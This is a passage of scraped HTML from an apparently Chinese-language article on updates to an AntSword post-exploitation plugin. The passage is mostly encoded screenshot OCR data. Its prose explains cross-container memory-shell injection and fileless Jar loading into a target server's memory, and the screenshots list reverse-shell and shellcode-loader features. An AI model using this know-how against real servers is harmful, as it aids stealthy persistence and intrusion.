22%3A93.482216%2C%22y%22%3A192.81273%2C%22width%22%3A94.808234%2C%22height%22%3A14.671270000000021%2C%22text%22%3A%22format-null%22%7D%2C%7B%22x%22%3A93.24137%2C%22y%22%3A217.34276%2C%22width%22%3A274.53045%2C%22height%22%3A17.294340000000005%2C%22text%22%3A%22coyoteResponse-Response%403653%22%7D%2C%7B%22x%22%3A92.75189%2C%22y%22%3A242.26488%2C%22width%22%3A270.29376%2C%22height%22%3A16.28886%2C%22text%22%3A%22outputBuffer-OutputBuffer%403654%22%7D%2C%7B%22x%22%3A93.61454%2C%22y%22%3A268.06906%2C%22width%22%3A341.43602999999996%2C%22height%22%3A16.675360000000012%2C%22text%22%3A%22outputStream-CovoteOutputstream%403655%EF%BF%A5%22%7D%2C%7B%22x%22%3A94.428986%2C%22y%22%3A292.36832%2C%22width%22%3A222.424984%2C%22height%22%3A16.824580000000026%2C%22text%22%3A%22writer-(Coyotewriter%403656%22%7D%2C%7B%22x%22%3A92.44297%2C%22y%22%3A317.33322%2C%22width%22%3A165.79228999999998%2C%22height%22%3A19.14008000000001%2C%22text%22%3A%22appcommitted-false%22%7D%2C%7B%22x%22%3A92.01731%2C%22y%22%3A342.31137%2C%22width%22%3A119.51339%2C%22height%22%3A16.10586999999998%2C%22text%22%3A%22included-false%22%7D%2C%7B%22x%22%3A93.10687%2C%22y%22%3A368.45883%2C%22width%22%3A223.8071%2C%22height%22%3A15.556700000000035%2C%22text%22%3A%22isCharacterencodingSet-true%22%7D%2C%7B%22x%22%3A91.9021%2C%22y%22%3A394.07828%2C%22width%22%3A197.40445%2C%22height%22%3A16.17815999999999%2C%22text%22%3A%22usingOutputStream-false%22%7D%2C%7B%22x%22%3A93.622475%2C%22y%22%3A418.6677%2C%22width%22%3A133.17488500000002%2C%22height%22%3A16.713039999999978%2C%22text%22%3A%22usingWriter-true%22%7D%2C%7B%22x%22%3A92.17045%2C%22y%22%3A442.14554%2C%22width%22%3A96.66275%2C%22height%22%3A17.082460000000026%2C%22text%22%3A%22urlencoder%E4%BA%8C%22%7D%2C%7B%22x%22%3A193.16328%2C%22y%22%3A444.28427%2C%22width%22%3A82.08999%2C%22height%22%3A13.130130000000008%2C%22text%22%3A%22UEncoder%40%22%7D%2C%7B%22x%22%3A266.5647%2C%22y%22%3A444.57004%2C%22width%22%3A56.11782999999997%2C%22height%22%3A13.808009999999967%2C%22text%22%3A%22%403657%22%7D%2C%7B%22x%22%3A217.37325%2C%22y%22%3A465.51578%2C%22width%22%3A236.5431%2C%22height%22%3A20.03255999999999%2C%22text%22%3A%22CharChunk%4036587...toStringo%22%7D%2C%7B%22x%22%3A91.98594%2C%22y%22%3A466.8248%2C%22width%22%3A113.84036%2C%22height%22%3A17.016020000000026%2C%22text%22%3A%22redirectURLCC%22%7D%2C%7B%22x%22%3A92.22355%2C%22y%22%3A492.81653%2C%22width%22%3A263.165%2C%22height%22%3A14.815170000000023%2C%22text%22%3A%22cookies-fArrayList%403659size-o%22%7D%2C%7B%22x%22%3A93.81632%2C%22y%22%3A518.76746%2C%22width%22%3A355.15585%2C%22height%22%3A16.15283999999997%2C%22text%22%3A%22applicationResponse-ResponseFacade%403595%22%7D%2C%7B%22x%22%3A94.12421%2C%22y%22%3A543.6962%2C%22width%22%3A195.42196%2C%22height%22%3A15.66579999999999%2C%22text%22%3A%22requestRequest%403613%22%7D%2C%7B%22x%22%3A91.98205%2C%22y%22%3A566.926%2C%22width%22%3A252.40245%2C%22height%22%3A18.879500000000007%2C%22text%22%3A%22facade-ResponseFacade%403595%EF%BF%A5%22%7D%2C%7B%22x%22%3A513.61237%2C%22y%22%3A699.9997%2C%22width%22%3A31.557629999999904%2C%22height%22%3A16.093560000000025%2C%22text%22%3A%22%E5%85%B3%E9%97%AD%22%7D%2C%7B%22x%22%3A396.1825%2C%22y%22%3A700.6702%2C%22width%22%3A56.64037999999999%2C%22height%22%3A17.360739999999964%2C%22text%22%3A%22%E8%AF%84%E4%BC%B0%2F%22%7D%5D%2C%22id%22%3A%22THbmL%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="538px" data-ratio="1.2407407407407407" title="image.png" data-type="png" data-w="594" style="visibility: visible;width: 434px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0cc9b910&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiactvLPqAmT2CvXpPOdEeGiaX0CmIVDxAE1TIiaw99e6jMmQpWy6ev3ia3HA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="98b0d729c4d0f04319c48962a0c6bf4c" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">然后意识到，这种case by case的解决方式是不行的，世界上还有那么多种Web容器中间件，不可能一个一个去调吧。</p><p data-lake-id="98b0d729c4d0f04319c48962a0c6bf4c" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="2b1865624cce3f4042e3d4dc44a4a28c" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">所以为了彻底解决这个问题，在520师傅的建议下采用了数组的方式将两者直接传进去，把分析的逻辑放在打内存Shell的时候去做，而不在payload里面去做。</p><p data-lake-id="1b081eb3a1d0c8acc77aeef0cbed3cc8" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="40470b5ff76c864ba301c2496efc9cf4" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">现在冰蝎跟哥斯拉也都有了相应的机制，思路大体是一样的，感兴趣的小伙伴可以自己研究一下。</p><h2 data-lake-id="4jKOd" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;">JarLoader模块新增手动上传方式</h2><h4 data-lake-id="TqnW3" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;">内存加载</h4><p data-lake-id="1cc42fbd47b4387abc45c61c48aedd8c" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">直接通过HTTP包将Jar打入目标内存，仅需选择本地需要上传的Jar文件即可，期间文件不落地。但是Tomcat默认POST最大上传大小为2M，如果超过了此大小请选择手动上传模式。</p><p data-lake-id="c76d86af5de7001c78d1d1a4bb7dd8e1" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067344909-cade8e67-8027-4771-8933-aeba53004124.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A528%2C%22height%22%3A396%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A50974%2C%22originWidth%22%3A1056%2C%22originHeight%22%3A791%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22As-Exploitsv1.319216.88.144jBydM%20%E5%8F%A3x%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20SheliCode%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20%E5%8F%8D%E5%BC%B9Shell%20%E5%86%85%E5%AD%98%E9%A9%AC%20exploit%20%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD%20%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%20D%3Amysql-connector-java-5.1.49-bin.jar%20%E9%80%89%E6%8B%A9%E6%96%87%E4%BB%B6%20%E6%89%8B%E5%8A%A8%E4%B8%8A%E4%BC%A0%20%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%201ok%20%E6%88%90%E5%8A%9F%20%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A39.47482%2C%22y%22%3A7.782869%2C%22width%22%3A372.83038%2C%22height%22%3A17.930582%2C%22text%22%3A%22As-Exploitsv1.319216.88.144jBydM%22%7D%2C%7B%22x%22%3A1011.97766%2C%22y%22%3A10.915761%2C%22width%22%3A39.51124000000004%2C%22height%22%3A14.67051%2C%22text%22%3A%22%E5%8F%A3x%22%7D%2C%7B%22x%22%3A29.529444%2C%22y%22%3A41.368874%2C%22width%22%3A59.90933%2C%22height%22%3A16.929466000000005%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A782.976%2C%22y%22%3A41.49235%2C%22width%22%3A113.24270000000001%2C%22height%22%3A17.322294%2C%22text%22%3A%22SheliCode%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A460.77667%2C%22y%22%3A41.5242%2C%22width%22%3A60.61612999999994%2C%22height%22%3A17.208460000000002%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A565.70135%2C%22y%22%3A41.902416%2C%22width%22%3A61.80548999999996%2C%22height%22%3A16.998078%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A674.098%2C%22y%22%3A42.135406%2C%22width%22%3A61.547500000000014%2C%22height%22%3A16.826316999999996%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A943.08777%2C%22y%22%3A42.10934%2C%22width%22%3A71.79552999999999%2C%22height%22%3A17.519146999999997%2C%22text%22%3A%22Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A338.78046%2C%22y%22%3A42.044174%2C%22width%22%3A76.36264%2C%22height%22%3A16.899483000000004%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A136.41905%2C%22y%22%3A42.60711%2C%22width%22%3A64.93281999999999%2C%22height%22%3A16.786876%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A247.15501%2C%22y%22%3A42.48965%2C%22width%22%3A47.63524000000001%2C%22height%22%3A16.863335%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A32.008907%2C%22y%22%3A85.8%2C%22width%22%3A46.128623%2C%22height%22%3A14.131439999999998%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A42.90949%2C%22y%22%3A130.20502%2C%22width%22%3A60.83088%2C%22height%22%3A15.975030000000004%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD%22%7D%2C%7B%22x%22%3A36.457966%2C%22y%22%3A166.63165%2C%22width%22%3A90.454769%2C%22height%22%3A16.47332%2C%22text%22%3A%22%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A135.46477%2C%22y%22%3A169.35406%2C%22width%22%3A261.08247%2C%22height%22%3A17.02445%2C%22text%22%3A%22D%3Amysql-connector-java-5.1.49-bin.jar%22%7D%2C%7B%22x%22%3A64.820244%2C%22y%22%3A213.00182%2C%22width%22%3A60.077405999999996%2C%22height%22%3A16.411659999999983%2C%22text%22%3A%22%E9%80%89%E6%8B%A9%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A43.262142%2C%22y%22%3A257.6159%2C%22width%22%3A59.247173000000004%2C%22height%22%3A16.2072%2C%22text%22%3A%22%E6%89%8B%E5%8A%A8%E4%B8%8A%E4%BC%A0%22%7D%2C%7B%22x%22%3A36.82322%2C%22y%22%3A295.95084%2C%22width%22%3A89.82163%2C%22height%22%3A17.51855999999998%2C%22text%22%3A%22%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A16.795338%2C%22y%22%3A446.54663%2C%22width%22%3A62.74905699999999%2C%22height%22%3A16.935870000000023%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A35.475%2C%22y%22%3A478.5%2C%22width%22%3A51.86311%2C%22height%22%3A14.024999999999977%2C%22text%22%3A%221ok%22%7D%2C%7B%22x%22%3A737.30554%2C%22y%22%3A715.4175%2C%22width%22%3A41.406310000000076%2C%22height%22%3A19.572199999999953%2C%22text%22%3A%22%E6%88%90%E5%8A%9F%22%7D%2C%7B%22x%22%3A735.8545%2C%22y%22%3A738.2336%2C%22width%22%3A81.74509999999998%2C%22height%22%3A19.188300000000027%2C%22text%22%3A%22%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%7D%5D%2C%22id%22%3A%22HZCcn%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="396px" data-ratio="0.7490530303030303" title="image.png" data-type="png" data-w="1056" style="visibility: visible;width: 528px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c5b6eeb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacf0SjOxnhXjHtFueXyl1zwaAwqKkibz8zzoV89czqZdYWvpl1GLGjhlw%2F640%3Fwx_fmt%3Dpng"/></span></p><h4 data-lake-id="bjkXA" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;">手动上传</h4><p data-lake-id="76f3e4eab936a9e833c942081c70e6fd" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">先手动将Jar上传到目标服务器上，然后通过路径加载。</p><p data-lake-id="8364a2ce9dcc50d226c5da0989f5bcd8" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067350373-df952d78-4c46-4edd-8095-9a14aabfdb99.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A960%2C%22height%22%3A515%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A207441%2C%22originWidth%22%3A1920%2C%22originHeight%22%3A1030%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%40%E4%B8%AD%E5%9B%BD%E7%BA%B9%20Antsword%E7%BC%96%E9%80%9A%E7%9B%97%E5%8F%A3%E6%B4%9E%E8%AF%95%20%20%E5%8F%A3192.168.88.144%206%E7%9B%AE%E7%A6%BE%E5%88%97%E8%A1%A8(2)%20%E6%96%87%E4%BB%B6%E8%BE%A3(4)%20%E4%B8%BB%E6%97%A5%20%E6%96%B0%E7%90%86%E4%B8%80%E4%B8%AA%E4%B8%8A%E5%B1%82%20%E4%B9%A6%E7%AD%BE%20C%E5%88%AB%20%E8%B0%A3%E8%81%94%20c%3Alenvfapache-tomicat8.5.57-indowsx64%2Fapache-tome%20%E5%90%8D%E7%A7%B0%20A-Exploits1.319168.88.144jpByM%20%E5%8F%A3x%20%E7%99%BDDapache-tomcat-8.5.57-windol%20jina--1807319588%20SHeICode%E8%BD%BD%E5%99%A8%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%8F%8D%E6%BE%B3Shell%20lar%E5%8A%A0r%E5%99%A8%20%E5%86%85%E5%AD%98%E9%A9%AC%E8%8B%A5%E7%90%86%20%E5%86%85%E5%AD%98%E9%A9%AC%20%E7%90%B4%E6%9C%AC%E4%BF%A1%E5%BA%97%20%E5%B1%9E%E4%B8%89%E5%AE%B6%E5%9B%BE%20%E6%8F%90%E6%9D%83%E6%9D%80%E5%8A%A9%20apache-tomcat-8.5.57%20nativclib-loader2472453829266034772%20bin%20exdlont%204.exploit!%20ShellcodeLoader.jar%20conf%20%E5%86%85%E5%AD%98%E5%8A%A0%E6%9D%A5%20%E5%88%B0%E6%96%B0%E7%9B%AE%E6%B3%8939375472169.tmp%20im%20lib%20%E6%9C%AC%E5%9C%B0%E6%96%87%E8%98%91%E9%A4%90D%3Atmysgl-aomnector-java-5.1.49-bin.jar%20logs%20WGET%E4%B8%8B%E6%88%91%20%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%20rasp%20%E9%80%89%E6%8B%A9%E6%96%87%E4%BB%B6%20%E4%B8%8B%E9%BC%93%E6%96%87%E4%BB%B6%20temmp%20%E6%89%8B%E5%8A%A8%E4%B8%8A%E4%BC%A0%20jina--1807319588%20%E5%8D%B3%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6%20%E4%B8%87%E5%88%A9%E6%96%87%E4%BB%B6%20nativelib-loader24%20%E6%8C%87%E6%96%87%E4%BD%A0%E8%B7%AF%E7%BB%8FC.%2Femw%2Fapschetomcat8.5.57indowx6lpcheom.5.%20%E5%9B%A0%E5%A4%8D%E6%96%87%E6%B1%81%E5%90%8D%20%E6%AD%A3%E8%B4%B4%E8%B4%B4%E6%96%87%E4%BB%B6%20webapps%20%E5%9B%9E%E8%B1%86%E5%88%B6%E6%96%87%E4%BB%B6%E8%B7%AF%E7%BB%8F%203.%E5%A1%AB%E5%86%99%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%20%E9%A2%84%E8%A7%88%E6%96%87%E4%BB%B6%20wORk%20%E9%95%89%E6%96%A1%E6%96%87%E4%BB%B6%20D%3A%2F%202.%E5%A4%8D%E5%88%9B%E6%96%87%E4%BB%B6%E8%B7%AF%E5%BE%84%20%E4%B8%BA%E6%B0%8F%E9%99%A4%E6%96%87%E4%BB%B6%20A%E4%B8%BB%E5%91%BD%E5%90%8D%E6%96%87%E4%B8%AA%20%E6%8A%A2%E5%87%BA%E5%87%BA%E6%9E%9C%20%E6%9B%B4%E6%94%B9%E6%96%87%E4%BB%B6%E6%97%B6%E9%97%B4%20ok%20%E6%9B%B4%E8%AE%AE%E6%9E%81%E9%99%90%20%E6%96%B0%E6%B1%81%20%E6%B1%9F%E5%9C%A8%E6%AD%A4%E5%A4%84%E6%89%93%E5%BC%80%E7%BB%88%5C%22%201.%E4%B8%8A%E4%BC%A0)ar%E6%96%87%E4%BB%B6%E5%88%B0%E6%9C%8D%E5%8A%A1%E7%AB%AF%E5%8F%A3%E5%BD%95%20%E4%BB%BB%E5%8A%A1%E9%9B%85%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A-0.41311538%2C%22y%22%3A0.8291173%2C%22width%22%3A88.41020538%2C%22height%22%3A23.0848457%2C%22text%22%3A%22%40%E4%B8%AD%E5%9B%BD%E7%BA%B9%22%7D%2C%7B%22x%22%3A4.6217666%2C%22y%22%3A31.71159%2C%22width%22%3A208.4211434%2C%22height%22%3A19.032885999999998%2C%22text%22%3A%22Antsword%E7%BC%96%E9%80%9A%E7%9B%97%E5%8F%A3%E6%B4%9E%E8%AF%95%22%7D%2C%7B%22x%22%3A3%2C%22y%22%3A61.142876%2C%22width%22%3A63.01312%2C%22height%22%3A21.357124%2C%22text%22%3A%22%22%7D%2C%7B%22x%22%3A93.381935%2C%22y%22%3A62.750027%2C%22width%22%3A147.976025%2C%22height%22%3A18.231872999999993%2C%22text%22%3A%22%E5%8F%A3192.168.88.144%22%7D%2C%7B%22x%22%3A6.371767%2C%22y%22%3A96.90836%2C%22width%22%3A110.97872299999999%2C%22height%22%3A21.593379999999996%2C%22text%22%3A%226%E7%9B%AE%E7%A6%BE%E5%88%97%E8%A1%A8(2)%22%7D%2C%7B%22x%22%3A330.16196%2C%22y%22%3A99.62314%2C%22width%22%3A106.06863999999996%2C%22height%22%3A18.932779999999994%2C%22text%22%3A%22%E6%96%87%E4%BB%B6%E8%BE%A3(4)%22%7D%2C%7B%22x%22%3A604.46576%2C%22y%22%3A134.32832%2C%22width%22%3A59.28103999999996%2C%22height%22%3A19.813970000000012%2C%22text%22%3A%22%E4%B8%BB%E6%97%A5%22%7D%2C%7B%22x%22%3A341.75333%2C%22y%22%3A134.58275%2C%22width%22%3A145.84289%2C%22height%22%3A19.38544999999999%2C%22text%22%3A%22%E6%96%B0%E7%90%86%E4%B8%80%E4%B8%AA%E4%B8%8A%E5%B1%82%22%7D%2C%7B%22x%22%3A702.87854%2C%22y%22%3A134.64587%2C%22width%22%3A44.42066%2C%22height%22%3A19.56913%2C%22text%22%3A%22%E4%B9%A6%E7%AD%BE%22%7D%2C%7B%22x%22%3A515.821%2C%22y%22%3A135.16942%2C%22width%22%3A51.40683999999999%2C%22height%22%3A19.393550000000005%2C%22text%22%3A%22C%E5%88%AB%22%7D%2C%7B%22x%22%3A1204.9579%2C%22y%22%3A137.88336%2C%22width%22%3A34.894599999999855%2C%22height%22%3A16.533679999999976%2C%22text%22%3A%22%E8%B0%A3%E8%81%94%22%7D%2C%7B%22x%22%3A793.3821%2C%22y%22%3A138.32767%2C%22width%22%3A380.90269999999987%2C%22height%22%3A17.915219999999977%2C%22text%22%3A%22c%3Alenvfapache-tomicat8.5.57-indowsx64%2Fapache-tome%22%7D%2C%7B%22x%22%3A382.79666%2C%22y%22%3A176.85887%2C%22width%22%3A37.67944%2C%22height%22%3A19.559050000000013%2C%22text%22%3A%22%E5%90%8D%E7%A7%B0%22%7D%2C%7B%22x%22%3A857.2577%2C%22y%22%3A181.91606%2C%22width%22%3A400.2417999999999%2C%22height%22%3A22.192980000000006%2C%22text%22%3A%22A-Exploits1.319168.88.144jpByM%22%7D%2C%7B%22x%22%3A1861.4998%2C%22y%22%3A184.46788%2C%22width%22%3A45.000299999999925%2C%22height%22%3A18.064179999999993%2C%22text%22%3A%22%E5%8F%A3x%22%7D%2C%7B%22x%22%3A52.116463%2C%22y%22%3A196.12024%2C%22width%22%3A263.302357%2C%22height%22%3A20.707989999999995%2C%22text%22%3A%22%E7%99%BDDapache-tomcat-8.5.57-windol%22%7D%2C%7B%22x%22%3A371.21896%2C%22y%22%3A212.1064%2C%22width%22%3A138.51087%2C%22height%22%3A20.37222%2C%22text%22%3A%22jina--1807319588%22%7D%2C%7B%22x%22%3A1625.1189%2C%22y%22%3A215.87381%2C%22width%22%3A118.89550000000008%2C%22height%22%3A20.191820000000007%2C%22text%22%3A%22SHeICode%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A1304.4384%2C%22y%22%3A216.49197%2C%22width%22%3A61.10400000000004%2C%22height%22%3A19.00790999999998%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A982.0933%2C%22y%22%3A217.22092%2C%22width%22%3A61.484899999999925%2C%22height%22%3A16.77011999999999%2C%22text%22%3A%22%E5%8F%8D%E6%BE%B3Shell%22%7D%2C%7B%22x%22%3A1788.2084%2C%22y%22%3A216.54672%2C%22width%22%3A73.16270000000009%2C%22height%22%3A19.82071000000002%2C%22text%22%3A%22lar%E5%8A%A0r%E5%99%A8%22%7D%2C%7B%22x%22%3A1181.5496%2C%22y%22%3A216.84949%2C%22width%22%3A78.83889999999997%2C%22height%22%3A19.42331999999999%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E8%8B%A5%E7%90%86%22%7D%2C%7B%22x%22%3A1095.6855%2C%22y%22%3A217.74408%2C%22width%22%3A44.59979999999996%2C%22height%22%3A19.029420000000016%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A866.1709%2C%22y%22%3A217.69722%2C%22width%22%3A63.94040000000007%2C%22height%22%3A17.64876000000001%2C%22text%22%3A%22%E7%90%B4%E6%9C%AC%E4%BF%A1%E5%BA%97%22%7D%2C%7B%22x%22%3A1517.9403%2C%22y%22%3A218.26524%2C%22width%22%3A61.628200000000106%2C%22height%22%3A17.845139999999986%2C%22text%22%3A%22%E5%B1%9E%E4%B8%89%E5%AE%B6%E5%9B%BE%22%7D%2C%7B%22x%22%3A1411.2783%2C%22y%22%3A218.8131%2C%22width%22%3A61.82590000000005%2C%22height%22%3A18.140440000000012%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E6%9D%80%E5%8A%A9%22%7D%2C%7B%22x%22%3A73.235504%2C%22y%22%3A227.73367%2C%22width%22%3A214.75509599999998%2C%22height%22%3A20.672330000000017%2C%22text%22%3A%22apache-tomcat-8.5.57%22%7D%2C%7B%22x%22%3A374.22385%2C%22y%22%3A245.07071%2C%22width%22%3A294.11818999999997%2C%22height%22%3A18.294290000000018%2C%22text%22%3A%22nativclib-loader2472453829266034772%22%7D%2C%7B%22x%22%3A146.19064%2C%22y%22%3A259.49997%2C%22width%22%3A28.109489999999994%2C%22height%22%3A16.221799999999973%2C%22text%22%3A%22bin%22%7D%2C%7B%22x%22%3A877.91693%2C%22y%22%3A260.56024%2C%22width%22%3A47.00903000000005%2C%22height%22%3A16.13955999999996%2C%22text%22%3A%22exdlont%22%7D%2C%7B%22x%22%3A991.4121%2C%22y%22%3A266.31073%2C%22width%22%3A96.72800000000007%2C%22height%22%3A18.762820000000033%2C%22text%22%3A%224.exploit!%22%7D%2C%7B%22x%22%3A375.50308%2C%22y%22%3A279.8087%2C%22width%22%3A145.71768000000003%2C%22height%22%3A19.06846999999999%2C%22text%22%3A%22ShellcodeLoader.jar%22%7D%2C%7B%22x%22%3A149.40285%2C%22y%22%3A289.41595%2C%22width%22%3A31.357370000000003%2C%22height%22%3A16.590449999999976%2C%22text%22%3A%22conf%22%7D%2C%7B%22x%22%3A887.3204%2C%22y%22%3A303.34027%2C%22width%22%3A62.942100000000096%2C%22height%22%3A19.309690000000046%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E5%8A%A0%E6%9D%A5%22%7D%2C%7B%22x%22%3A430.255%2C%22y%22%3A310.6462%2C%22width%22%3A205.22095000000002%2C%22height%22%3A19.281259999999975%2C%22text%22%3A%22%E5%88%B0%E6%96%B0%E7%9B%AE%E6%B3%8939375472169.tmp%22%7D%2C%7B%22x%22%3A376.12518%2C%22y%22%3A312.7639%2C%22width%22%3A20.949279999999987%2C%22height%22%3A17.650250000000028%2C%22text%22%3A%22im%22%7D%2C%7B%22x%22%3A148.87541%2C%22y%22%3A319.49997%2C%22width%22%3A22.124560000000002%2C%22height%22%3A16.11779999999999%2C%22text%22%3A%22lib%22%7D%2C%7B%22x%22%3A882.71564%2C%22y%22%3A342.05377%2C%22width%22%3A359.4197599999999%2C%22height%22%3A20.56344999999999%2C%22text%22%3A%22%E6%9C%AC%E5%9C%B0%E6%96%87%E8%98%91%E9%A4%90D%3Atmysgl-aomnector-java-5.1.49-bin.jar%22%7D%2C%7B%22x%22%3A150.07025%2C%22y%22%3A351.06445%2C%22width%22%3A30.60118%2C%22height%22%3A16.439030000000002%2C%22text%22%3A%22logs%22%7D%2C%7B%22x%22%3A430.01672%2C%22y%22%3A352.0785%2C%22width%22%3A90.55761999999999%2C%22height%22%3A19.061819999999955%2C%22text%22%3A%22WGET%E4%B8%8B%E6%88%91%22%7D%2C%7B%22x%22%3A428.56067%2C%22y%22%3A380.05856%2C%22width%22%3A68.88959%2C%22height%22%3A18.51058999999998%2C%22text%22%3A%22%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A149.82187%2C%22y%22%3A381.96313%2C%22width%22%3A32.41850000000002%2C%22height%22%3A14.036969999999997%2C%22text%22%3A%22rasp%22%7D%2C%7B%22x%22%3A910.3636%2C%22y%22%3A387.4893%2C%22width%22%3A62.31499999999994%2C%22height%22%3A18.346419999999966%2C%22text%22%3A%22%E9%80%89%E6%8B%A9%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A434.74332%2C%22y%22%3A409.4772%2C%22width%22%3A64.00415000000004%2C%22height%22%3A18.49475000000001%2C%22text%22%3A%22%E4%B8%8B%E9%BC%93%E6%96%87%E4%BB%B6%22%7D%2C%7B%22x%22%3A152.13943%2C%22y%22%3A411.74863%2C%22width%22%3A42.87284%2C%22height%22%3A14.386040000000037%2C%22text%22%3A%22temmp%22%7D%2C%7B%22x%22%3A888.43585%2C%22y%22%3A432.52435%2C%22width%22%3A59.43091000000004%2C%22height%22%3A17.895819999999958%2C%22text%22%3A%22%E6%89%8B%E5%8A%A8%E4%B8%8A%E4%BC%A0%22%7D%2C%7B%22x%22%3A167.66171%2C%22y%22%3A439.62497%2C%22width%22%3A130.29871%2C%22height%22%3A16.859249999999975%2C%22text%22%3A%22jina--1807319588%22%7